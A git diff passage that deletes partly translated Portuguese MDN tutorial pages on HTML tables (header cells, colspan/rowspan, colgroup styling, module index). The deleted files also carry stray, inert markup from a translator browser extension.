- <td>Knocky</td>
- <td>Flor</td>
- <td>Ella</td>
- <td>Juan</td>
- </tr>
- <tr>
- <td>Breed</td>
- <td>Jack Russell</td>
- <td>Poodle</td>
- <td>Streetdog</td>
- <td>Cocker Spaniel</td>
- </tr>
- <tr>
- <td>Age</td>
- <td>16</td>
- <td>9</td>
- <td>10</td>
- <td>5</td>
- </tr>
- <tr>
- <td>Owner</td>
- <td>Mother-in-law</td>
- <td>Me</td>
- <td>Me</td>
- <td>Sister-in-law</td>
- </tr>
- <tr>
- <td>Eating Habits</td>
- <td>Eats everyone's leftovers</td>
- <td>Nibbles at food</td>
- <td>Hearty eater</td>
- <td>Will eat till he explodes</td>
- </tr>
- </tbody>
-</table>
-
-<p>The problem here is that, while you can kind of make out what's going on, it is not as easy to cross reference data as it could be. If the column and row headings stood out in some way, it would be much better.</p>
-
-<h3 id="Aprendizagem_ativa_cabeçalhos_de_tabela">Aprendizagem ativa: cabeçalhos de tabela</h3>
-
-<p>Let's have a go at improving this table.</p>
-
-<ol>
- <li>First, make a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table.html">dogs-table.html</a> and <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> files in a new directory on your local machine. The HTML contains the same Dogs example as you saw above.</li>
- <li>To recognize the table headers as headers, both visually and semantically, you can use the <strong><code><a href="/en-US/docs/Web/HTML/Element/th">&lt;th&gt;</a></code></strong> element ('th' stand for 'table header'). This works in exactly the same way as a <code>&lt;td&gt;</code>, except that it denotes a header, not a normal cell. Go into your HTML, and change all the <code>&lt;td&gt;</code> elements surrounding the table headers into <code>&lt;th&gt;</code> elements.</li>
- <li>Save your HTML and load it in a browser, and you should see that the headers now look like headers.</li>
-</ol>
-
-<div class="note">
-<p><strong>Nota</strong>: You can find our finished example at <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/dogs-table-fixed.html">dogs-table-fixed.html</a> on GitHub (<a href="http://mdn.github.io/learning-area/html/tables/basic/dogs-table-fixed.html">see it live also</a>).</p>
-</div>
-
-<h3 id="Porque_é_que_os_cabeçalhos_são_úteis">Porque é que os cabeçalhos são úteis?</h3>
-
-<p>We have already partially answered this question — it is easier to find the data you are looking for when the headers clearly stand out, and the design just generally looks better.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Table headings come with some default styling — they are bold and centered even if you don't add your own styling to the table, to help them stand out.</p>
-</div>
-
-<p>Tables headers also have an added benefit — along with the <code>scope</code> attribute (which we'll learn about in the next article), they allow you to make tables more accessible by associating each header with all the data in the same row or column. Screenreaders are then able to read out a whole row or column of data at once, which is pretty useful.</p>
-
-<h2 id="Permitir_que_as_células_sejam_distribuídas_por_múltiplas_filas_e_colunas">Permitir que as células sejam distribuídas por múltiplas filas e colunas</h2>
-
-<p>Sometimes we want cells to span multiple rows or columns. Take the following simple example, which shows the names of common animals. In some cases, we want to show the names of the males and females next to the animal name. Sometimes we don't, and in such cases we just want the animal name to span the whole table.</p>
-
-<p>The initial markup looks like this:</p>
-
-<pre class="brush: html">&lt;table&gt;
- &lt;tr&gt;
- &lt;th&gt;Animals&lt;/th&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;th&gt;Hippopotamus&lt;/th&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;th&gt;Horse&lt;/th&gt;
- &lt;td&gt;Mare&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Stallion&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;th&gt;Crocodile&lt;/th&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;th&gt;Chicken&lt;/th&gt;
- &lt;td&gt;Cock&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Rooster&lt;/td&gt;
- &lt;/tr&gt;
-&lt;/table&gt;</pre>
-
-<p>But the output doesn't give us quite what we want:</p>
-
-<table>
- <tbody>
- <tr>
- <th>Animals</th>
- </tr>
- <tr>
- <th>Hippopotamus</th>
- </tr>
- <tr>
- <th>Horse</th>
- <td>Mare</td>
- </tr>
- <tr>
- <td>Stallion</td>
- </tr>
- <tr>
- <th>Crocodile</th>
- </tr>
- <tr>
- <th>Chicken</th>
- <td>Cock</td>
- </tr>
- <tr>
- <td>Rooster</td>
- </tr>
- </tbody>
-</table>
-
-<p>We need a way to get "Animals", "Hippopotamus", and "Crocodile" to span across two columns, and "Horse" and "Chicken" to span downwards over two rows. Fortunately, table headers and cells have the <code>colspan</code> and <code>rowspan</code> attributes, which allow us to do just those things. Both accept a unitless number value, which equals the number of rows or columns you want spanned. For example, <code>colspan="2"</code> makes a cell span two columns.</p>
-
-<p>Let's use <code>colspan</code> and <code>rowspan</code> to improve this table.</p>
-
-<ol>
- <li>First, make a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table.html">animals-table.html</a> and <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/minimal-table.css">minimal-table.css</a> files in a new directory on your local machine. The HTML contains the same animals example as you saw above.</li>
- <li>Next, use <code>colspan</code> to make "Animals", "Hippopotamus", and "Crocodile" span across two columns.</li>
- <li>Finally, use <code>rowspan</code> to make "Horse" and "Chicken" span across two rows.</li>
- <li>Save and open your code in a browser to see the improvement.</li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: You can find our finished example at <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/animals-table-fixed.html">animals-table-fixed.html</a> on GitHub (<a href="http://mdn.github.io/learning-area/html/tables/basic/animals-table-fixed.html">see it live also</a>).</p>
-</div>
-
-<table id="tabular" style="background-color: white;">
-</table>
-
-<h2 id="Proporcionar_estilização_comum_para_colunas">Proporcionar estilização comum para colunas</h2>
-
-<p>There is one last feature we'll tell you about in this article before we move on. HTML has a method of defining styling information for an entire column of data all in one place — the <strong><code><a href="/en-US/docs/Web/HTML/Element/col">&lt;col&gt;</a></code></strong> and <strong><code><a href="/en-US/docs/Web/HTML/Element/colgroup">&lt;colgroup&gt;</a></code></strong> elements. These exist because it can be a bit annoying and inefficient having to specify styling on columns — you generally have to specify your styling information on <em>every</em> <code>&lt;td&gt;</code> or <code>&lt;th&gt;</code> in the column, or use a complex selector such as {{cssxref(":nth-child()")}}.</p>
-
-<p>Take the following simple example:</p>
-
-<pre class="brush: html">&lt;table&gt;
- &lt;tr&gt;
- &lt;th&gt;Data 1&lt;/th&gt;
- &lt;th style="background-color: yellow"&gt;Data 2&lt;/th&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Calcutta&lt;/td&gt;
- &lt;td style="background-color: yellow"&gt;Orange&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Robots&lt;/td&gt;
- &lt;td style="background-color: yellow"&gt;Jazz&lt;/td&gt;
- &lt;/tr&gt;
-&lt;/table&gt;</pre>
-
-<p>Which gives us the following result:</p>
-
-<table>
- <tbody>
- <tr>
- <th>Data 1</th>
- <th style="background-color: yellow;">Data 2</th>
- </tr>
- <tr>
- <td>Calcutta</td>
- <td style="background-color: yellow;">Orange</td>
- </tr>
- <tr>
- <td>Robots</td>
- <td style="background-color: yellow;">Jazz</td>
- </tr>
- </tbody>
-</table>
-
-<p>This isn't ideal, as we have to repeat the styling information across all three cells in the column (we'd probably have a <code>class</code> set on all three in a real project and specify the styling in a separate stylesheet). Instead of doing this, we can specify the information once, on a <code>&lt;col&gt;</code> element. <code>&lt;col&gt;</code> elements are  specified inside a <code>&lt;colgroup&gt;</code> container just below the opening <code>&lt;table&gt;</code> tag. We could create the same effect as we see above by specifying our table as follows:</p>
-
-<pre class="brush: html">&lt;table&gt;
- &lt;colgroup&gt;
- &lt;col&gt;
- &lt;col style="background-color: yellow"&gt;
- &lt;/colgroup&gt;
- &lt;tr&gt;
- &lt;th&gt;Data 1&lt;/th&gt;
- &lt;th&gt;Data 2&lt;/th&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Calcutta&lt;/td&gt;
- &lt;td&gt;Orange&lt;/td&gt;
- &lt;/tr&gt;
- &lt;tr&gt;
- &lt;td&gt;Robots&lt;/td&gt;
- &lt;td&gt;Jazz&lt;/td&gt;
- &lt;/tr&gt;
-&lt;/table&gt;</pre>
-
-<p>Effectively we are defining two "style columns", one specifying styling information for each column. We are not styling the first column, but we still have to include a blank <code>&lt;col&gt;</code> element — if we didn't, the styling would just be applied to the first column.</p>
-
-<p>If we wanted to apply the styling information to both columns, we could just include one <code>&lt;col&gt;</code> element with a span attribute on it, like this:</p>
-
-<pre class="brush: html">&lt;colgroup&gt;
- &lt;col style="background-color: yellow" span="2"&gt;
-&lt;/colgroup&gt;</pre>
-
-<p>Just like <code>colspan</code> and <code>rowspan</code>, <code>span</code> takes a unitless number value that specifies the number of columns you want the styling to apply to.</p>
-
-<h3 id="Aprendizagem_ativa_colgroup_e_col">Aprendizagem ativa: <em>colgroup </em>e<em> </em><em>col</em></h3>
-
-<p>Now it's time to have a go yourself.</p>
-
-<p>Below you can see the timetable of a languages teacher. On Friday she has a new class teaching Dutch all day, but she also teaches German for a few periods on Tuesday and Thursdays. She wants to highlight the columns containing the days she is teaching.</p>
-
-<p>{{EmbedGHLiveSample("learning-area/html/tables/basic/timetable-fixed.html", '100%', 320)}}</p>
-
-<p>Recreate the table by following the steps below.</p>
-
-<ol>
- <li>First, make a local copy of our <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable.html">timetable.html</a> file in a new directory on your local machine. The HTML contains the same table you saw above, minus the column styling information.</li>
- <li>Add a <code>&lt;colgroup&gt;</code> element at the top of the table, just underneath the <code>&lt;table&gt;</code> tag, in which you can add your <code>&lt;col&gt;</code> elements (see the remaining steps below).</li>
- <li>The first two columns need to be left unstyled.</li>
- <li>Add a background color to the third column. The value for your <code>style</code> attribute is <code>background-color:#97DB9A;</code></li>
- <li>Set a separate width on the fourth column. The value for your <code>style</code> attribute is <code>width: 42px;</code></li>
- <li>Add a background color to the fifth column. The value for your <code>style</code> attribute is <code>background-color: #97DB9A;</code></li>
- <li>Add a different background color plus a border to the sixth column, to signify that this is a special day and she's teaching a new class. The values for your <code>style</code> attribute are <code>background-color:#DCC48E; border:4px solid #C1437A;</code></li>
- <li>The last two days are free days, so just set them to no background color but a set width; the value for the <code>style</code> attribute is <code>width: 42px;</code></li>
-</ol>
-
-<p>See how you get on with the example. If you get stuck, or want to check your work, you can find our version on GitHub as <a href="https://github.com/mdn/learning-area/blob/master/html/tables/basic/timetable-fixed.html">timetable-fixed.html</a> (<a href="http://mdn.github.io/learning-area/html/tables/basic/timetable-fixed.html">see it live also</a>).</p>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>That just about wraps up the basics of HTML Tables. In the next article we will look at some slightly more advanced table features, and start to think how accessible they are for visually impaired people.</p>
-
-<div>{{NextMenu("Learn/HTML/Tables/Advanced", "Learn/HTML/Tables")}}</div>
-
-<div>
-<h2 id="Neste_módulo">Neste módulo</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Learn/HTML/Tables/Basicos">HTML table basics</a></li>
- <li><a href="/pt-PT/docs/Learn/HTML/Tables/Avancada">HTML - funcionalidades avançadas de tabela e acessibilidade</a></li>
- <li><a href="/pt-PT/docs/Learn/HTML/Tables/Avaliacao_Estruturar_os_dados_dos_planetas">Estruturar dados dos planetas</a></li>
-</ul>
-</div>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result"> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/html/tables/index.html b/files/pt-pt/learn/html/tables/index.html
deleted file mode 100644
index 8078285603..0000000000
--- a/files/pt-pt/learn/html/tables/index.html
+++ /dev/null
@@ -1,121 +0,0 @@
----
-title: Tabelas HTML
-slug: Learn/HTML/Tables
-tags:
- - Artigo
- - Guía
- - HTML
- - Principiante
- - Programação Scripting
- - modulo
- - tabelas
-translation_of: Learn/HTML/Tables
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">Uma tarefa muito comum em HTML é estruturar os dados tabulares, e esta tem um número de elementos e atributos próprios para essa finalidade. Em conjunto com a linguagem <a href="/pt-PT/docs/Learn/CSS">CSS</a> para estilização, o HTML torna fácil a exibição de tabelas com informação na Web, tais como o seu plano de lições escolares, o horário na sua piscina local, ou s estatísticas sobre os seus dinossauros favoritos ou equipas de futebol. Este módulo leva-o a tudo o que precisa saber sobre a estruturação de dados tabulares, utilziando o HTML.</p>
-
-<h2 id="Pré-requisitos">Pré-requisitos</h2>
-
-<p>Antes de iniciar este módulo, já deverá ter domínio dos básicos de HTML — consulte <a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">Introdução ao HTML</a>.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: se está a utilizar um computador/tablet/outro dispositivo onde não tem a possibilidade de criar os seus próprios ficheiros, pode testar (a maioria) dos exemplos de código num programa de codificação on-line, tais como <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
-</div>
-
-<h2 id="Guias">Guias</h2>
-
-<p>Este módulo contém os seguintes artigos:</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/HTML/Tables/Basicos">HTML - o essencial de tabela</a></dt>
- <dd>Este artigo inicia-o nas tabelas HTML, cobrindo o essencial, tais como linhas e células, cabeçalhos, como distribuir as células por múltiplas colunas e linhas, e como agrupar todas as células numa coluna para efeitos de estilio.</dd>
- <dt><a href="/pt-PT/docs/Learn/HTML/Tables/Avancada">HTML - funcionalidades avançadas de tabela e acessibilidade</a></dt>
- <dd>No segundo artigo deste módulo, nós vamos ver algumas funcionalidades mais avançadas das tabelas HTML — tais como legendas/resumos e agrupar as suas filas no cabçalho da taela, secções de corpo e rodapé — bem como, ver a acessibilidade das tabelas para os utilizadores deficientes visuais .</dd>
-</dl>
-
-<h2 id="Avaliações">Avaliações</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Learn/HTML/Tables/Avaliacao_Estruturar_os_dados_dos_planetas">Estruturar os dados do planeta</a></dt>
- <dd>Na nossa avaliação de tabela, nós vamos fornecer alguns dados sobre os planetas do nosso sistema solar, para que possa estruturá-los numa tabela HTML.</dd>
-</dl>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
